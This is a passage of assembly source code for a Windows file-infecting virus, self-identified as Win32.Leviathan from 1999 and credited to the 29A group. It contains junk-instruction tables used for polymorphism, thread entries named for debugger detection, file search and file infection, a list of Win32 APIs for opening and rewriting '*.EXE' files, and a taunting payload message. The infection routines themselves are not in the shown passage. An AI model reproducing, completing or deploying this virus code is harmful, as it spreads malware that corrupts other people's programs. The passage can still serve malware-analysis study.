tPoints:		irp Num, <1,2,3,4,5,6,7>
			dd		offset t&Num
			endm
tCount			=	($ - tPoints)/4
			dd		0

;junk address table
jPoints:		irp Num, <1,2,3,4,5,6,7,8,9>
			dd		offset j&Num
			endm
			dd		0

junx:			clc				;junk instructions
			cmc
			stc
			nop
			cld
			std
			lahf
			cwde
			cdq
			inc eax
			dec eax
			inc edx
			dec edx
num_of_junx	=	dword ptr $ - offset junx - 1

NumOfExecs		dd		?
GenerationCount		dd		?

StartOfNeurons:
			dd	offset Neuron_Debugger
			dd	offset Neuron_Find
			dd	offset Neuron_CheckFile
			dd	offset Neuron_OpenFile
			dd	offset Neuron_CloseFile
			dd	offset Neuron_InfectFile
			dd	offset Neuron_GetVersion
	num_of_neurons	=	7

szGetModuleHandleA	db		'GetModuleHandleA', 0
szGetModuleHandleW	db		'GetModuleHandleW', 0

szAPIs:
szCreateThread		db		'CreateThread', 0
szExitThread		db		'ExitThread', 0
szGetVersion		db		'GetVersion', 0
szFindFirstFileA	db		'FindFirstFileA', 0
szFindNextFileA		db		'FindNextFileA', 0
szFindClose		db		'FindClose', 0
szCreateFileA		db		'CreateFileA', 0
szCreateFileMappingA	db		'CreateFileMappingA', 0
szMapViewOfFile		db		'MapViewOfFile', 0
szUnmapViewOfFile	db		'UnmapViewOfFile', 0
szCloseHandle		db		'CloseHandle', 0
szSetFilePointer	db		'SetFilePointer', 0
szSetEndOfFile		db		'SetEndOfFile', 0
szSetFileTime		db		'SetFileTime', 0
szSetFileAttributesA	db		'SetFileAttributesA', 0
szGetCurrentProcess	db		'GetCurrentProcess', 0
szGetPriorityClass	db		'GetPriorityClass', 0
szSetPriorityClass	db		'SetPriorityClass', 0
szLoadLibraryA		db		'LoadLibraryA', 0
szFreeLibrary		db		'FreeLibrary', 0
			db		0ffh
szIsDebuggerPresent	db		'IsDebuggerPresent', 0
szMessageBoxA		db		'MessageBoxA', 0


szExt			db		'*.EXE', 0
			org $ - 1
JumpToHost		db		?


szMsgTitle		db		'Win32.Leviathan (c) 1999 by Benny', 0
szMsgText		db		'Hey stupid !', 0dh, 0dh
			db		'This is gonna be your nightmare...', 0dh
			db		'30th generation of Leviathan is here... beware of me !', 0dh
			db		'Threads are stripped, ship is sinkin''...', 0dh, 0dh
			db		'Greetz:'
			db		09, 'Darkman/29A', 0dh
			db		09, 'Super/29A', 0dh
			db		09, 'Billy Belcebu/DDT', 0dh
			db		09, 'and all other 29Aers...', 0dh, 0dh
			db		'Special greet:', 0dh
			db		09, 'Arthur Rimbaud', 0dh, 0dh
			db		'New milenium is knockin on the door... ', 0dh
			db		'New generation of viruses is here, nothing promised, no regret.', 0

virus_end:
_GetModuleHandleA	dd		offset GetModuleHandleA
_GetModuleHandleW	dd		offset GetModuleHandleW

ddAPIs:
ddCreateThread		dd		?
ddExitThread		dd		?
ddGetVersion		dd		?
ddFindFirstFileA	dd		?
ddFindNextFileA		dd		?
ddFindClose		dd		?
ddCreateFileA		dd		?
ddCreateFileMappingA	dd		?
ddMapViewOfFile		dd		?
ddUnmapViewOfFile	dd		?
ddCloseHandle		dd		?
ddSetFilePointer	dd		?
ddSetEndOfFile		dd		?
ddSetFileTime		dd		?
ddSetFileAttributesA	dd		?
ddGetCurrentProcess	dd		?
ddGetPriorityClass	dd		?
ddSetPriorityClass	dd		?
ddLoadLibraryA		dd		?
ddFreeLibrary		dd		?

ddThreadID		dd		?

NHandles:
hNeuron_Debugger	dd		?
hNeuron_Find		dd		?
hNeuron_CheckFile	dd		?
hNeuron_OpenFile	dd		?
hNeuron_CloseFile	dd		?
hNeuron_InfectFile	dd		?
hNeuron_GetVersion	dd		?

hFile			dd		?
hMapFile		dd		?
lpFile			dd		?

K32Handle		dd		?
SearchHandle		dd		?
WFD		WIN32_FIND_DATA		?
buffer			db		virus_end - Start dup (?)
virtual_end:

ends
End Start
